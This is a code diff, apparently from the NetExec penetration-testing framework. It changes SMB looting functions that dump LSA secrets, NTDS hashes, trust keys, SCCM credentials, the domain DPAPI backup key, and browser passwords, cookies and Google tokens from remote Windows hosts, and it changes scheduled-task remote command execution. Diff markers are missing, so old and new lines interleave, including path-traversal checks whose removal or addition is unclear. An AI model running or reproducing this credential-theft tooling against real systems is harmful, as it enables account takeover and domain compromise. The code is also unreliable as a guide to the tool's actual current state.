|
||||
def get_file_single(self, remote_path, download_path, silent=False):
|
||||
share_name = self.args.share
|
||||
if self.args.append_host:
|
||||
download_path = sanitize_path_component(f"{self.hostname}-{remote_path}")
|
||||
if not silent:
|
||||
self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
|
||||
if self.args.append_host:
|
||||
download_path = f"{self.hostname}-{remote_path}"
|
||||
with open(download_path, "wb+") as file:
|
||||
if self.download_file(share_name, remote_path, file.write):
|
||||
if not silent:
|
||||
@@ -2197,18 +2206,10 @@ class smb(connection):
|
||||
|
||||
filtered_items = [item for item in items if item.get_longname() not in [".", ".."]]
|
||||
|
||||
# Create a safe local directory structure while retaining the raw remote path for SMB.
|
||||
try:
|
||||
relative_path = ntpath.relpath(folder, base_dir or folder)
|
||||
except ValueError:
|
||||
relative_path = folder
|
||||
relative_parts = [] if relative_path == "." else [sanitize_path_component(part) for part in relative_path.split("\\") if part]
|
||||
local_folder_path = os.path.join(dest, *relative_parts)
|
||||
destination_path = Path(dest).resolve()
|
||||
resolved_folder = Path(local_folder_path).resolve()
|
||||
if resolved_folder != destination_path and destination_path not in resolved_folder.parents:
|
||||
self.logger.fail(f"Path traversal detected in '{folder}', skipping")
|
||||
return
|
||||
# create local directory structure regardless of content; download empty folders by default
|
||||
# change the Windows path to Linux and then join it with the base directory to get our actual save path
|
||||
relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\"))
|
||||
local_folder_path = os.path.join(dest, relative_path)
|
||||
|
||||
if not filtered_items and ignore_empty:
|
||||
self.logger.debug(f"Skipping empty folder '{folder}'")
|
||||
@@ -2220,20 +2221,22 @@ class smb(connection):
|
||||
self.logger.display(f"Created empty directory '{local_folder_path}'")
|
||||
|
||||
for item in filtered_items:
|
||||
remote_item_name = item.get_longname()
|
||||
item_name = sanitize_path_component(remote_item_name)
|
||||
dir_path = ntpath.normpath(ntpath.join(folder, remote_item_name))
|
||||
self.logger.debug(f"Parsing item: {remote_item_name!r}, {dir_path!r}")
|
||||
item_name = sanitize_filename(item.get_longname())
|
||||
if not item_name:
|
||||
self.logger.fail(f"Path traversal detected in '{item.get_longname()}', skipping")
|
||||
continue
|
||||
dir_path = ntpath.normpath(ntpath.join(folder, item_name))
|
||||
self.logger.debug(f"Parsing item: {item_name}, {dir_path}")
|
||||
|
||||
if item.is_directory() and recursive:
|
||||
self.logger.debug(f"Found new directory to parse: {dir_path!r}")
|
||||
self.logger.debug(f"Found new directory to parse: {dir_path}")
|
||||
self.download_folder(dir_path, dest, recursive, silent, base_dir or folder, ignore_empty)
|
||||
elif not item.is_directory():
|
||||
remote_file_path = ntpath.join(folder, remote_item_name)
|
||||
remote_file_path = ntpath.join(folder, item_name)
|
||||
local_file_path = os.path.join(local_folder_path, item_name)
|
||||
# Defense-in-depth: verify path stays under destination
|
||||
resolved = Path(local_file_path).resolve()
|
||||
if destination_path not in resolved.parents:
|
||||
if not str(resolved).startswith(str(Path(dest).resolve()) + os.sep):
|
||||
self.logger.fail(f"Path traversal detected in '{item_name}', skipping")
|
||||
continue
|
||||
self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
|
||||
@@ -2241,7 +2244,7 @@ class smb(connection):
|
||||
try:
|
||||
self.get_file_single(remote_file_path, local_file_path, silent)
|
||||
except FileNotFoundError:
|
||||
self.logger.fail(f"Error downloading file '{remote_file_path!r}' due to file not found (probably a race condition between listing and downloading)")
|
||||
self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)")
|
||||
|
||||
def get_folder(self):
|
||||
recursive = self.args.recursive
|
||||
@@ -2325,32 +2328,255 @@ class smb(connection):
|
||||
|
||||
@requires_admin
|
||||
def sccm(self):
|
||||
self.dpapi_triage.triage_sccm()
|
||||
|
||||
@requires_admin
|
||||
def dpapi(self):
|
||||
self.dpapi_triage.triage_dpapi()
|
||||
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
address=self.remoteName,
|
||||
target=self.hostname + "." + self.domain if self.kerberos else self.host,
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
do_kerberos=self.kerberos,
|
||||
kdcHost=self.kdcHost,
|
||||
dc_ip=self.kdcHost,
|
||||
aesKey=self.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=self.use_kcache,
|
||||
)
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
|
||||
if conn is None:
|
||||
self.logger.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
masterkeys = collect_masterkeys_from_target(self, target, conn, user=False)
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
self.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
|
||||
|
||||
def sccm_callback(secret):
|
||||
if isinstance(secret, SCCMCred):
|
||||
tag = "NAA Account"
|
||||
self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.username.decode("latin-1"),
|
||||
secret.password.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMSecret):
|
||||
tag = "Task sequences secret"
|
||||
self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
"N/A",
|
||||
secret.secret.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMCollection):
|
||||
tag = "Collection Variable"
|
||||
self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.variable.decode("latin-1"),
|
||||
secret.value.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
try:
|
||||
sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
|
||||
sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", )
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting sccm: {e}")
|
||||
|
||||
@requires_admin
|
||||
def dpapi(self):
|
||||
dump_system = "nosystem" not in self.args.dpapi
|
||||
|
||||
if self.args.pvk is not None:
|
||||
try:
|
||||
with open(self.args.pvk, "rb") as f:
|
||||
self.pvkbytes = f.read()
|
||||
self.logger.success(f"Loading domain backupkey from {self.args.pvk}")
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
|
||||
if self.pvkbytes is None:
|
||||
self.pvkbytes = get_domain_backup_key(self)
|
||||
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
target=self.remoteName,
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
do_kerberos=self.kerberos,
|
||||
kdcHost=self.kdcHost,
|
||||
dc_ip=self.kdcHost,
|
||||
aesKey=self.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=self.use_kcache,
|
||||
)
|
||||
|
||||
self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # ruff: ignore[open-file-with-context-handler]
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
|
||||
if conn is None:
|
||||
self.logger.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system)
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
self.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
|
||||
|
||||
# Collect User and Machine Credentials Manager secrets
|
||||
def credential_callback(credential):
|
||||
tag = "CREDENTIAL"
|
||||
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
tag,
|
||||
credential.winuser,
|
||||
credential.username,
|
||||
credential.password,
|
||||
credential.target,
|
||||
)
|
||||
|
||||
try:
|
||||
credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
|
||||
self.logger.debug(f"Credentials Triage Object: {credentials_triage}")
|
||||
credentials_triage.triage_credentials()
|
||||
if dump_system:
|
||||
credentials_triage.triage_system_credentials()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting credentials: {e}")
|
||||
|
||||
dump_cookies = "cookies" in self.args.dpapi
|
||||
|
||||
cng_chromekey = None
|
||||
try:
|
||||
cng_triage = CngTriage(target=target, conn=conn, masterkeys=masterkeys)
|
||||
for cng_file in cng_triage.triage_system_cng():
|
||||
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
|
||||
self.logger.debug("Found CNG Google ChromeKey1\n")
|
||||
cng_chromekey = cng_file.decrypted_private_key
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
|
||||
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
def browser_callback(secret):
|
||||
if isinstance(secret, LoginData):
|
||||
secret_url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, GoogleRefreshToken):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.service,
|
||||
secret.token,
|
||||
"Google Refresh Token",
|
||||
)
|
||||
elif isinstance(secret, Cookie):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
|
||||
try:
|
||||
browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
|
||||
browser_triage.triage_browsers(gather_cookies=dump_cookies, cng_chromekey=cng_chromekey)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting browsers: {e}")
|
||||
|
||||
def vault_callback(secret):
|
||||
tag = "IEX"
|
||||
if secret.type == "Internet Explorer":
|
||||
resource = secret.resource + " -" if secret.resource != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.resource,
|
||||
)
|
||||
|
||||
try:
|
||||
# Collect User Internet Explorer stored secrets
|
||||
vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
|
||||
vaults_triage.triage_vaults()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting vaults: {e}")
|
||||
|
||||
def firefox_callback(secret):
|
||||
tag = "FIREFOX"
|
||||
if isinstance(secret, FirefoxData):
|
||||
url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, FirefoxCookie):
|
||||
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
|
||||
try:
|
||||
# Collect Firefox stored secrets
|
||||
firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback)
|
||||
firefox_triage.run(gather_cookies=dump_cookies)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting firefox: {e}")
|
||||
|
||||
if self.output_file:
|
||||
self.output_file.close()
|
||||
with open(self.output_file_template.format(output_folder="dpapi")) as f:
|
||||
if sum(1 for _ in f) == 0:
|
||||
self.logger.fail("No dpapi loot retrieved")
|
||||
|
||||
@requires_admin
|
||||
def list_snapshots(self):
|
||||
@@ -2367,22 +2593,13 @@ class smb(connection):
|
||||
self.logger.highlight(f"{drive:<8}{i:<26}")
|
||||
|
||||
@requires_admin
|
||||
def lsa(self, quiet=False):
|
||||
def lsa(self):
|
||||
try:
|
||||
# --dpapi calls lsa() without --lsa, so it gets the default regdump mode too
|
||||
self.enable_remoteops(regsecret=(self.args.lsa != "secdump"))
|
||||
self.enable_remoteops(regsecret=(self.args.lsa == "regdump"))
|
||||
|
||||
def add_lsa_secret(secret):
|
||||
add_lsa_secret.secrets += 1
|
||||
if "dpapi_machinekey" not in secret:
|
||||
if not quiet:
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
|
||||
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
|
||||
if not quiet:
|
||||
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
|
||||
self.logger.highlight(secret)
|
||||
if "_SC_GMSA_{84A78B8C" in secret:
|
||||
gmsa_id = secret.split("_")[4].split(":")[0]
|
||||
data = bytes.fromhex(secret.split("_")[4].split(":")[1])
|
||||
@@ -2392,13 +2609,12 @@ class smb(connection):
|
||||
ntlm_hash = MD4.new()
|
||||
ntlm_hash.update(currentPassword)
|
||||
passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8")
|
||||
if not quiet:
|
||||
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
|
||||
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
|
||||
|
||||
add_lsa_secret.secrets = 0
|
||||
|
||||
if self.remote_ops and self.bootkey:
|
||||
if self.args.lsa != "secdump":
|
||||
if self.args.lsa == "regdump":
|
||||
LSA = RegSecretsLSASecrets(
|
||||
self.bootkey,
|
||||
self.remote_ops,
|
||||
@@ -2413,15 +2629,13 @@ class smb(connection):
|
||||
isRemote=True,
|
||||
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
|
||||
)
|
||||
if not quiet:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
self.output_filename = self.output_file_template.format(output_folder="lsa")
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.exportCached(self.output_filename)
|
||||
LSA.dumpSecrets()
|
||||
LSA.exportSecrets(self.output_filename)
|
||||
if not quiet:
|
||||
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
|
||||
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
|
||||
try:
|
||||
self.remote_ops.finish()
|
||||
except Exception as e:
|
||||
@@ -2436,15 +2650,13 @@ class smb(connection):
|
||||
|
||||
def ntds(self):
|
||||
self.enable_remoteops()
|
||||
is_remote = True
|
||||
use_vss_method = False
|
||||
NTDSFileName = None
|
||||
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
|
||||
printed_kerb_keys_banner = False
|
||||
printed_trust_keys_banner = False
|
||||
|
||||
def add_hash(secret_type, secret, host_id):
|
||||
nonlocal printed_kerb_keys_banner, printed_trust_keys_banner
|
||||
nonlocal printed_kerb_keys_banner
|
||||
if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
|
||||
self.logger.display("Kerberos keys:")
|
||||
printed_kerb_keys_banner = True
|
||||
@@ -2455,15 +2667,13 @@ class smb(connection):
|
||||
else:
|
||||
add_hash.nt_lm_secrets += 1
|
||||
|
||||
is_enabled_account = secret.endswith(" (status=Enabled)")
|
||||
is_trust_key = " (Incoming" in secret or " (Outgoing" in secret
|
||||
for status in (" (status=Enabled)", " (status=Disabled)", " (status=N/A)"):
|
||||
secret = secret.removesuffix(status)
|
||||
|
||||
if not self.args.enabled or is_enabled_account or is_trust_key:
|
||||
if is_trust_key and not printed_trust_keys_banner:
|
||||
self.logger.display("Trust keys:")
|
||||
printed_trust_keys_banner = True
|
||||
# Log the secret based on args
|
||||
if self.args.enabled:
|
||||
if "Enabled" in secret:
|
||||
secret = " ".join(secret.split(" ")[:-1])
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret
|
||||
self.logger.highlight(secret)
|
||||
|
||||
# Filter out computer accounts, history hashes and kerberos keys for adding to db
|
||||
@@ -2491,21 +2701,20 @@ class smb(connection):
|
||||
add_hash.kerb_secrets = 0
|
||||
add_hash.added_to_db = 0
|
||||
|
||||
if self.args.ntds == "vss":
|
||||
use_vss_method = True
|
||||
is_remote = False
|
||||
output_folder = os.path.abspath(os.path.join(NXC_PATH, "logs", "ntds", sanitize_path_component(self.hostname)))
|
||||
os.makedirs(output_folder, exist_ok=True)
|
||||
sam_path, system_path, security_path, NTDSFileName = self.remote_ops.createSSandDownloadWMI("C:\\", output_folder, NTDS=True)
|
||||
localOps = LocalOperations(system_path)
|
||||
self.bootkey = localOps.getBootKey()
|
||||
if self.remote_ops:
|
||||
try:
|
||||
if self.args.ntds == "vss":
|
||||
NTDSFileName = self.remote_ops.saveNTDS()
|
||||
use_vss_method = True
|
||||
except Exception as e:
|
||||
self.logger.fail(e)
|
||||
|
||||
self.output_filename = self.output_file_template.format(output_folder="ntds")
|
||||
|
||||
NTDS = NTDSHashes(
|
||||
NTDSFileName,
|
||||
self.bootkey,
|
||||
isRemote=is_remote,
|
||||
isRemote=True,
|
||||
history=self.args.history,
|
||||
noLMHash=True,
|
||||
remoteOps=self.remote_ops,
|
||||
@@ -2516,27 +2725,18 @@ class smb(connection):
|
||||
outputFileName=self.output_filename,
|
||||
justUser=self.args.userntds if self.args.userntds else None,
|
||||
printUserStatus=True,
|
||||
trustKeys=self.args.trust_keys,
|
||||
justTrustKeys=self.args.just_trust_keys,
|
||||
domainFQDN=self.targetDomain,
|
||||
perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret, host_id),
|
||||
)
|
||||
|
||||
try:
|
||||
if self.args.just_trust_keys:
|
||||
self.logger.success("Dumping the trust keys, this could take a while so go grab a redbull...")
|
||||
else:
|
||||
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
NTDS.dump()
|
||||
ntds_outfile = f"{self.output_filename}.ntds"
|
||||
if self.args.just_trust_keys:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} trust keys to {ntds_outfile}.trustkeys")
|
||||
else:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
|
||||
if self.args.kerberos_keys:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
|
||||
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
|
||||
if self.args.kerberos_keys:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
|
||||
except Exception as e:
|
||||
# if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
||||
# We don't store the resume file if this error happened, since this error is related to lack
|
||||
|
||||
+50
-19
@@ -10,7 +10,6 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from nxc.protocols.smb.exec_output import get_output_file
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
@@ -163,30 +162,62 @@ class TSCH_EXEC:
|
||||
except tsch.DCERPCSessionError as e:
|
||||
self.logger.debug(f"hSchRpcRun returned: {e}")
|
||||
|
||||
# A task starts within seconds of the RegistrationTrigger. Poll for up to RUN_TIMEOUT seconds so a
|
||||
# slow host still gets a grace period, and a task that can never run (e.g. a run-as user with no
|
||||
# interactive session, which a TASK_LOGON_NONE task needs) is detected instead of looping forever.
|
||||
RUN_TIMEOUT = 30
|
||||
RUN_CHECK_DELAY = 2
|
||||
last_error = None
|
||||
for _ in range(RUN_TIMEOUT // RUN_CHECK_DELAY):
|
||||
done = False
|
||||
while not done:
|
||||
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
|
||||
try:
|
||||
if tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")["pLastRuntime"]["wYear"] != 0:
|
||||
break # the task has run
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")
|
||||
except tsch.DCERPCSessionError as e:
|
||||
last_error = e # SCHED_S_TASK_HAS_NOT_RUN or a transient error right after registration; keep polling
|
||||
sleep(RUN_CHECK_DELAY)
|
||||
else:
|
||||
self.logger.fail(f"Task \\{self.task_name} did not start within {RUN_TIMEOUT}s. If a specific run-as user was set, it likely has no interactive session on the target (a TASK_LOGON_NONE task only runs while that user is logged on). Last error: {last_error}")
|
||||
if e.error_code == 0x00041303:
|
||||
sleep(2)
|
||||
continue
|
||||
self.logger.fail(f"Error retrieving task last run info: {e}")
|
||||
break
|
||||
if resp["pLastRuntime"]["wYear"] != 0:
|
||||
done = True
|
||||
else:
|
||||
sleep(2)
|
||||
|
||||
self.logger.info(f"Deleting task \\{self.task_name}")
|
||||
try:
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"[OPSEC] Could not delete scheduled task \\{self.task_name} on the target: {e}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
|
||||
|
||||
if self.__retOutput:
|
||||
get_output_file(self.__connection.conn, self.__share, self.__output_filename, self.output_callback, self.__tries, self.logger, "ATEXEC")
|
||||
tries = 1
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
|
||||
self.__connection.conn.getFile(self.__share, self.__output_filename, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing PowerShell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
|
||||
self.__connection.conn.deleteFile(self.__share, self.__output_filename)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
dce.disconnect()
|
||||
@@ -3,7 +3,7 @@ import threading
|
||||
import warnings
|
||||
from datetime import datetime
|
||||
|
||||
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_
|
||||
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import (
|
||||
SAWarning
|
||||
@@ -428,20 +428,6 @@ class database(BaseDB):
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
@@ -739,13 +725,13 @@ class database(BaseDB):
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this DPAPI secret ID is valid.
|
||||
Check if this group ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
|
||||
|
||||
def get_domain_backup_key(context):
|
||||
pvkbytes = None
|
||||
try:
|
||||
results = context.db.get_domain_backupkey(context.domain)
|
||||
except Exception:
|
||||
context.logger.fail(
|
||||
"Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \
|
||||
'workspace create dpapi' then re-run the dpapi option"
|
||||
)
|
||||
return False
|
||||
if len(results) > 0:
|
||||
context.logger.success("Loading domain backupkey from nxcdb...")
|
||||
pvkbytes = results[0][2]
|
||||
elif context.no_da is None and context.args.local_auth is False:
|
||||
try:
|
||||
dc_target = Target.create(
|
||||
domain=context.domain,
|
||||
username=context.username,
|
||||
password=context.password,
|
||||
target=context.domain, # querying DNS server for domain will return DC
|
||||
lmhash=context.lmhash,
|
||||
nthash=context.nthash,
|
||||
do_kerberos=context.kerberos,
|
||||
aesKey=context.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=context.use_kcache,
|
||||
)
|
||||
dc_conn = DPLootSMBConnection(dc_target)
|
||||
dc_conn.connect() # Connect to DC
|
||||
if dc_conn.is_admin():
|
||||
context.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
pvkbytes = backupkey.backupkey_v2
|
||||
